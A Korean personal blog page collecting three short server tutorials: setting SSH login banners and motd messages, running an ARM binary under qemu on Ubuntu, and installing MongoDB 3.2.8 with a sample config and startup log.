글씨는 아래와 같이 하면 됩니다.


$ sudo apt-get install figlet

$ figlet "문자열"



원하는 그림 같은건 아스키 아트 같은 사이트를 이용하여 위와 같이 원하는 문자열로 뽑으시면 됩니다!


그런 문자열을 이제 이 파일들에 넣으면 됩니다.


 설정파일

 설명

 상태

 /etc/issue

 로컬에서 접속 시도시 보여줄 메세지 파일

 로그인 전

 /etc/issue.net

 원격지에서 접속 시도시 보여줄 메세지 파일

 로그인 전

 /etc/motd

 로컬, 원격 모두에서 로그인 성공 후에 보여줄 메세지 파일

 로그인 후


먼저 위의 설정 파일을 사용하기 위해서는 sshd_config를 변경할 필요가 있습니다.


$ vi /etc/ssh/sshd_config 



:/PrintMotd



PrintMotd no 에서 yes로 변경해줍니다.



:/Banner



주석 처리되있는 것을 지워줍니다.



그렇다면 이제 설정 파일은 다 했습니다.


이제 원하는 문자열을 원하는 파일에 집으시면 됩니다.



/etc/issue.net or /etc/issue



/etc/motd


작성을 다 하셨으면 재시작을 해줍니다.


$ /etc/init.d/ssh restart




'0x20 Security > 0x26 Server' 카테고리의 다른 글

ssh config 파일을 설정해보자!  (0) 2017.02.26
서버를 간지나게 꾸며보자  (0) 2016.10.14
Run ARM ELF for qemu in ubuntu  (0) 2016.08.31
Install mongodb  (0) 2016.07.26

댓글 0

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

$ sudo apt-get install gcc-arm-linux-gnueabi qemu -y


arm compiler와 qemu 설치합니다.


arm-linux-gnueabi-gcc --version; qemu-system-arm --version



설치&버전 체크합시다.


arm-linux-gnueabi-gcc -staic ./a.c -o a


arm-gcc를 이용하여 컴파일합니다.



제대로 컴파일이 ARM로 되었음을 확인합니다.


qemu-arm ./a 로 실행합니다.


당연히 ./a 로 하면 arm이므로 실행이 되지 않습니다.



잘 되는 것을 볼 수 있습니다.

'0x20 Security > 0x26 Server' 카테고리의 다른 글

ssh config 파일을 설정해보자!  (0) 2017.02.26
서버를 간지나게 꾸며보자  (0) 2016.10.14
Run ARM ELF for qemu in ubuntu  (0) 2016.08.31
Install mongodb  (0) 2016.07.26

댓글 0

https://www.mongodb.com/download-center#community


$ wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-amazon-3.2.8.tgz



$ tar -zxvf ./mongodb-linux-x86_64-amazon-3.2.8.tgz



$ mkdir /opt/nosql

$ mv mongodb-linux-x86_64-amazon-3.2.8 /opt/nosql/mongodb

$ cd /opt/nosql/mongodb

$ mkdir data

$ mkdir config

$ mkdir log


$ vi mongodb.conf



dbpath=/opt/nosql/mongodb

logpath=/opt/nosql/mongodb/log/mongodb.log

logappend=true

port=5050

verbose=true

fork=true

rest=true



$ cd ./bin

$ ./mongod --config /opt/nosql/mongodb/config/mongodb.conf



$ /opt/nosql/mongodb/bin/mongo localhost:2885


MongoDB shell version: 3.2.8

connecting to: localhost:2885/test

Welcome to the MongoDB shell.

For interactive help, type "help".

For more comprehensive documentation, see

http://docs.mongodb.org/

Questions? Try the support group

http://groups.google.com/group/mongodb-user

Server has startup warnings: 

2016-07-26T08:25:14.110-0400 I CONTROL  [main] ** WARNING: --rest is specified without --httpinterface,

2016-07-26T08:25:14.110-0400 I CONTROL  [main] **          enabling http interface

2016-07-26T08:25:14.146-0400 I CONTROL  [initandlisten] ** WARNING: You are running this process as the root user, which is not recommended.

2016-07-26T08:25:14.146-0400 I CONTROL  [initandlisten] 

2016-07-26T08:25:14.147-0400 I CONTROL  [initandlisten] 

2016-07-26T08:25:14.147-0400 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.

2016-07-26T08:25:14.147-0400 I CONTROL  [initandlisten] **        We suggest setting it to 'never'

2016-07-26T08:25:14.147-0400 I CONTROL  [initandlisten] 

2016-07-26T08:25:14.147-0400 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'.

2016-07-26T08:25:14.147-0400 I CONTROL  [initandlisten] **        We suggest setting it to 'never'

2016-07-26T08:25:14.147-0400 I CONTROL  [initandlisten] 


끝,

'0x20 Security > 0x26 Server' 카테고리의 다른 글

ssh config 파일을 설정해보자!  (0) 2017.02.26
서버를 간지나게 꾸며보자  (0) 2016.10.14
Run ARM ELF for qemu in ubuntu  (0) 2016.08.31
Install mongodb  (0) 2016.07.26

댓글 0